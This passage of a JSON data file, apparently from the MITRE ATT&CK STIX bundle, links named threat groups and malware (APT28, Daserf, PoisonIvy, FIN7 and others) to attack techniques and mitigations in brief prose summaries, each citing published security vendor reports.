"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[JPIN](https://attack.mitre.org/software/S0201) can list running processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--2738fdf5-b448-4c28-9918-dec89c31b2fc", + "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "source_name": "Microsoft PLATINUM April 2016", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has collected information from Microsoft SharePoint services within target networks.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--743ed7c3-c0e3-4290-9410-f6bec9224c30", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-18T15:14:12.650Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "RSAC 2015 Abu Dhabi Stefano Maccaglia", + "description": "Maccaglia, S. (2015, November 4). Evolving Threats: dissection of a CyberEspionage attack. Retrieved April 4, 2018.", + "url": "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/2015.11.04_Evolving_Threats/cct-w08_evolving-threats-dissection-of-a-cyber-espionage-attack.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.023Z", + "id": "relationship--9213f7ac-c548-4139-950b-5481a94570f9", + "source_ref": "course-of-action--8b36d944-f274-4d46-9acd-dbba6927ce7a", + "modified": "2019-07-25T11:31:34.378Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[NanHaiShu](https://attack.mitre.org/software/S0228) launches a script to delete their original decoy file to cover tracks.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--6c5378fb-d1d3-4873-bf38-5553df5b8845", + "source_ref": "malware--705f0783-5f7d-4491-b6b7-9628e6e006d2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2016, July). NANHAISHU RATing the South China Sea. Retrieved July 6, 2018.", + "source_name": "fsecure NanHaiShu July 2016", + "url": "https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.027Z", + "id": "relationship--aa80b239-dc67-4883-adfd-6a10e96c18c6", + "source_ref": "course-of-action--399d9038-b100-43ef-b28d-a5065106b935", + "modified": "2019-07-25T12:01:34.080Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.044Z", + "id": "relationship--9d081347-3446-47a4-b5a9-d7a9d2d499e7", + "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064", + "modified": "2019-03-22T20:09:34.808Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Alperovitch 2014", + "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.", + "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967", + "description": "[APT37](https://attack.mitre.org/groups/G0067) has used an audio capturing utility known as SOUNDWAVE that captures microphone input.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--e66427b2-f353-446a-aedf-decccb926172", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "modified": "2019-09-09T19:12:32.646Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) gathers information about opened windows.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--afa84fd1-e910-4bc7-8270-1e9f9b02b53f", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "modified": "2019-04-24T15:26:03.583Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "source_name": "Unit 42 Kazuar May 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can delete all files on the C:\\, D:\\, E:\\ and, F:\\ drives using [PowerShell](https://attack.mitre.org/techniques/T1086) Remove-Item commands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--c18652f6-e25c-4e01-bec2-04204a50cf23", + "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "modified": "2019-04-22T22:36:52.892Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye MuddyWater Mar 2018", + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2ba5aa71-9d15-4b22-b726-56af06d9ad2f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--56086ed3-641e-4fd5-b26e-1ca9479c2081", + "source_ref": "course-of-action--94927849-03e3-4a07-8f4c-9ee21b626719", + "modified": "2019-07-25T12:01:55.840Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dd901512-6e37-4155-943b-453e3777b125", + "description": "[CrossRAT](https://attack.mitre.org/software/S0235) creates a Launch Agent on macOS.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--1c324849-fe93-45d4-a7eb-5755f2012ef3", + "source_ref": "malware--a5e91d50-24fa-44ec-9894-39a88f658cea", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has used [BITSAdmin](https://attack.mitre.org/software/S0190) to download additional tools.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--b5894858-3f86-48f4-8ae0-7fcb8c19c36b", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "modified": "2019-09-23T13:20:27.362Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "source_name": "FireEye Periscope March 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", + "description": "[Suckfly](https://attack.mitre.org/groups/G0039) the victim's internal network for hosts with ports 8080, 5900, and 40 open.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.075Z", + "id": "relationship--9b360cf4-4600-4ea8-a28c-99d91e0d1734", + "source_ref": "intrusion-set--5cbe0d3b-6fb1-471f-b591-4b192915116d", + "modified": "2019-03-25T16:59:47.237Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Suckfly May 2016", + "description": "DiMaggio, J.. (2016, May 17). Indian organizations targeted in Suckfly attacks. Retrieved August 3, 2016.", + "url": "http://www.symantec.com/connect/blogs/indian-organizations-targeted-suckfly-attacks" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has created new services to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--d54a98b2-8023-43ac-8577-53796b1efa55", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "modified": "2019-07-26T23:38:33.624Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Group IB Cobalt Aug 2017", + "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.", + "url": "https://www.group-ib.com/blog/cobalt" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) has used remote code execution to download subsequent payloads.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--c3dd754d-3e2b-4761-8d21-2e7a52fc6616", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "modified": "2019-03-22T20:21:57.627Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Fin8 May 2016", + "description": "Kizhakkinan, D. et al.. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "After re-establishing access to a victim network, [Threat Group-3390](https://attack.mitre.org/groups/G0027) actors download tools including [gsecdump](https://attack.mitre.org/software/S0008) and WCE that are staged temporarily on websites that were previously compromised but never used.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.062Z", + "id": "relationship--6a1693a7-1e85-48b6-9097-11339a987099", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:54.914Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "source_name": "Dell TG-3390", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec", + "description": "Once a removable media device is inserted back into the first victim, [USBStealer](https://attack.mitre.org/software/S0136) collects data from it that was exfiltrated from a second victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--00ae99d1-db02-4007-8669-04d7fc4c1390", + "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.", + "source_name": "ESET Sednit USBStealer 2014", + "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/" + }, + { + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.", + "source_name": "Kaspersky Sofacy", + "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[Sowbug](https://attack.mitre.org/groups/G0054) has used credential dumping tools.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--d93265a6-1f92-472b-9e47-48b7863d8171", + "source_ref": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e", + "modified": "2019-03-25T16:57:02.775Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Sowbug Nov 2017", + "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.", + "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "description": "[Deep Panda](https://attack.mitre.org/groups/G0009) has used ping to identify other machines of interest.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--280bb6ec-0d7f-4a42-a3f2-7a3b43886126", + "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064", + "modified": "2019-03-22T20:09:34.708Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Alperovitch 2014", + "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.", + "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "description": "An [APT19](https://attack.mitre.org/groups/G0073) HTTP malware variant used Base64 to encode communications to the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--d1b46f3e-b25c-43c0-9ab2-ef6e5ff8270c", + "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", + "modified": "2019-04-25T11:39:52.086Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 C0d0so0 Jan 2016", + "description": "Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used RAR to compress, encrypt, and password-protect files prior to exfiltration.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.062Z", + "id": "relationship--c8c5b766-a719-43bd-988a-cb00beedbba3", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:54.926Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) can inject a malicious DLL into a process.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--7d020981-51b3-4ff6-825f-7cd192c934e1", + "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved November 12, 2014.", + "source_name": "FireEye Poison Ivy", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf" + }, + { + "description": "Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.", + "source_name": "Symantec Darkmoon Aug 2005", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7", + "description": "[Thrip](https://attack.mitre.org/groups/G0076) used a cloud-based remote access software called LogMeIn for their attacks.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--52f31493-1654-4516-960d-c79018f1efd8", + "source_ref": "intrusion-set--d69e568e-9ac8-4c08-b32c-d93b43ba9172", + "modified": "2019-03-25T17:06:37.138Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Thrip June 2018", + "description": "Security Response Attack Investigation Team. (2018, June 19). Thrip: Espionage Group Hits Satellite, Telecoms, and Defense Companies. Retrieved July 10, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4", + "description": "Part of [APT28](https://attack.mitre.org/groups/G0007)'s operation involved using [CHOPSTICK](https://attack.mitre.org/software/S0023) modules to copy itself to air-gapped machines and using files written to USB sticks to transfer data and command traffic.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--9aeda7e2-e452-4cd3-837f-e258cba1fc96", + "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472", + "modified": "2019-05-14T17:10:21.853Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "source_name": "FireEye APT28", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + }, + { + "description": "Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.", + "source_name": "Microsoft SIR Vol 19", + "url": "http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d", + "description": "Some [Daserf](https://attack.mitre.org/software/S0187) samples were signed with a stolen digital certificate.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--0f2e2727-ffe5-42ad-93fc-e856303ca684", + "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.", + "source_name": "Symantec Tick Apr 2016", + "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[Leafminer](https://attack.mitre.org/groups/G0077) used several tools for retrieving login and password information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--21198a81-0fa4-4114-9a75-478e7212b87a", + "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74", + "modified": "2019-03-25T14:12:13.399Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Leafminer July 2018", + "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) malware can create a .lnk file and add a Registry Run key to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--a1ec1602-33d6-45be-8eda-2020094e93a4", + "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27", + "modified": "2019-07-25T14:56:46.661Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", + "source_name": "Unit 42 Gorgon Group Aug 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Daserf](https://attack.mitre.org/software/S0187) can download remote files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--24503815-4ac5-4d57-9e95-ebeb84e0c11b", + "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.", + "source_name": "Trend Micro Daserf Nov 2017", + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/" + }, + { + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--f2e8c7a1-cae1-45c4-baf0-6f21bdcbb2c2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.036Z", + "id": "relationship--324a5331-cce7-4154-a803-ad68d5de1f94", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "modified": "2019-08-20T13:08:13.416Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) created several .LNK files on the victim's machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--79d12bfb-6458-472f-85fc-4a8403956f9a", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "modified": "2019-06-30T23:13:18.303Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FIN7 Aug 2018", + "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[PowerDuke](https://attack.mitre.org/software/S0139) has commands to get information about the victim's name, build, version, serial number, and memory usage.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--1fda6ff7-a344-4bc3-b545-4083cc15290d", + "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a", + "modified": "2019-04-22T22:31:38.315Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.", + "source_name": "Volexity PowerDuke November 2016", + "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b", + "description": "[Winnti 